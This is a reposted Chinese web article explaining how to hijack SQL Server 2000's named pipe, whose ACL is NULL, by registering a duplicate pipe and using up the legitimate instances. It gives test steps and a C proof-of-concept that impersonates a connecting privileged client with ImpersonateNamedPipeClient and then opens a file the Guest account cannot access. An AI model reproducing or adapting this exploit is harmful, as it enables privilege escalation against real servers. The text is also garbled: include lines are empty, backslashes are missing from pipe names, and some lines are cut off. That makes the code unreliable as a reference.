SQL SERVER 2000通讯管道后复用劫持

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2009-03-16 13:57:44
 SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的:
  默认实例:\.pipesqlquery
  命名实例:\.pipeMSSQL$instancenamesqlquery

  也可以通过1434 UDP进行查询获得这个管道名称
  但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对
这个管道进行劫持,以前的劫持都是利用先停掉服务,再建立这个名字管道,然后再启动服务
来复用自己已经建立了名字的管道,但实际上SQL SERVER 2000会判断是否已有同名管道,然
后会取别的名字,而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞),但是
实际上对管道的测试却发现:如果ACL设置成NULL的话,即使是后命名的管道,也可以劫持先
命令的管道,只需要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个估计
  建立时的实例个数有关,如在我的测试下,\.pipesqlquery只需要建立1个接可以劫
持了,而\.pipelsass则需要4-5个之后才能劫持。不过\.pipelsass的ACL只能是管理
  如果攻击者复用了同名管道以后,建立起几个不释放的管道(消耗掉了正常管道的实例)
,然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程,剩下的就是大家都知道
的利用模拟函数获得发起者权限的老生常谈了:
  下面就是一个简单的例子,实现对SQL SERVER 2000管道通讯的劫持
  环境:SQL SERVER 2000+SP2
  WIN2000 SERVER中文版+SP3
  测试流程:
  1。先建立SQL 服务器允许管道通讯,和集成WINDOWS 验证,添加一个具备高权限的允许
SQL SERVER登陆的WINDOWS本机帐户,启动SQL SERVER服务
  2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其他人都许可
  3。在另外一台机器B上,以添加的可以登陆SQL SERVER的服务器帐户登陆,然后设置客户
端网络库只为管道(如果有多个,可能就会是随机选一个连接,而不肯定是管道进行通讯了)
  4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,使用集成WINDOWS验证
  5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序,会显示先无法打开
  6。在机器B上,连接SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登陆用
户,然后可以打开先没权限打开的文件。
  当然这个攻击本身实际的意义可能不大,因为估计现在SQL SERVER用管道建立通讯的比较
少,而且在都允许的情况下,一般会主动选择TCP方式进行连接,但同时说明了:一个缺乏很
好ACL保护的管道,也可以用后发复用来进行劫持,这就减少了很多需要先停掉服务或预先预
测的难题,在编写服务器端管道应用的时候也必须小心。
  SQL SERVER 2000劫持代码   #include
  #include
  #include
  #include
  void main()
  {
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];
  DWORD dwNumber = 0;
  //先的测试,在GUEST权限下无法打开此文件
  fp = fopen("C:\test.txt","w");
  if(fp==NULL)
  printf("now you don't open file; ");
  //建立起一个同名管道,复用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\.\pipe\sql\query",
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_MESSAGEPIPE_WAIT,
  100,
  2048,
  2048,
  NMPWAIT_USE_DEFAULT_WAIT,
  NULL);
  if(pipea ==INVALID_HANDLE_VALUE)
  {
  ret = GetLastError();
  printf("error in createnamedpipe!code=%d ",ret);
  return;
  }
  //损耗掉其他正常实例
  if(WaitNamedPipe("\\.\pipe\sql\query",NMPWAIT_WAIT_FOREVER)==0)
  {
  printf("no this pipe ");
  return;
  }
  //可以调整个数,SQL SERVER只需要调整一个就可以了   for(i=0;i<1;i++)
  {
  Sleep(20);
  if((pipeb[i]=CreateFile("\\.\pipe\sql\query",GENERIC_WRITE
GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIB
  {
  printf("open pipe failed ");
  return;
  }
  //WriteFile(pipeb[i],"test1",5,&num,NULL);

  //WriteFile(pipeb[i],"test2",5,&num,NULL);
  }
  //然后等待连接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
  //模拟连接进来的用户
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
  //获得用户信息
  GetUserName(szUser, &dwSize);
  printf ("Impersonating: %s ", szUser);
  //然后再测试是否能打开这个文件,证明确实提升了权限
  fp = fopen("C:\test.txt","w");
  if(fp!=NULL)
  printf("now you can open file ");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);   for(i=0;i<1;i++)
  CloseHandle(pipeb[i]);
  return;
  }

Tags:

作者:佚名
分享到: 微信 更多